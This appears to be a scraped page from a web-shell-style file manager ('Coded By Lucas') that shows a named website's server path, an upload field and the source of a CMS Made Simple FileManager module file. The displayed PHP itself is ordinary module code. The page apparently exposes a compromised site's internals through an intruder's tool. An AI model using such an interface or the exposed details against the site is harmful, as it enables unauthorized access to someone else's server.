File Manager

Current Path : /webspace/www.babilon.be/html/modules/FileManager/
Upload File :
Current File : //webspace/www.babilon.be/html/modules/FileManager/action.changedir.php

<?php
if (!function_exists("cmsms")) exit;
if (!$this->CheckPermission("Modify Files") && !$this->AdvancedAccessAllowed()) exit;

if( $_SERVER['REQUEST_METHOD'] == 'GET' && isset($_GET['showtemplate']) && $_GET['showtemplate'] == 'false' ) {
  echo filemanager_utils::get_cwd();
  exit;
}

if(!isset($params["newdir"]) || !isset($params["path"])) {
  $this->Redirect($id, 'defaultadmin');
}

$newdir=$params["newdir"];

try 
{
  if( isset($params['ajax']) ) {
    filemanager_utils::set_cwd(trim($newdir));
  }
  else {
    $path = filemanager_utils::join_path(filemanager_utils::get_cwd(),$newdir);
    filemanager_utils::set_cwd($path);
    $this->Redirect($id, 'defaultadmin');
  }
}
catch( Exception $e )
{
  audit('','FileManager','Attempt to set working directory to an invalid location: '.$newdir);
  if( isset($params['ajax']) ) exit('ERROR');
}

//echo $params["path"];
if( isset($params['ajax']) ) echo 'OK'; exit;
$this->Redirect($id, 'defaultadmin', $returnid,array("path"=>$path));

?>

File Manager Version 1.0, Coded By Lucas
Email: hehe@yahoo.com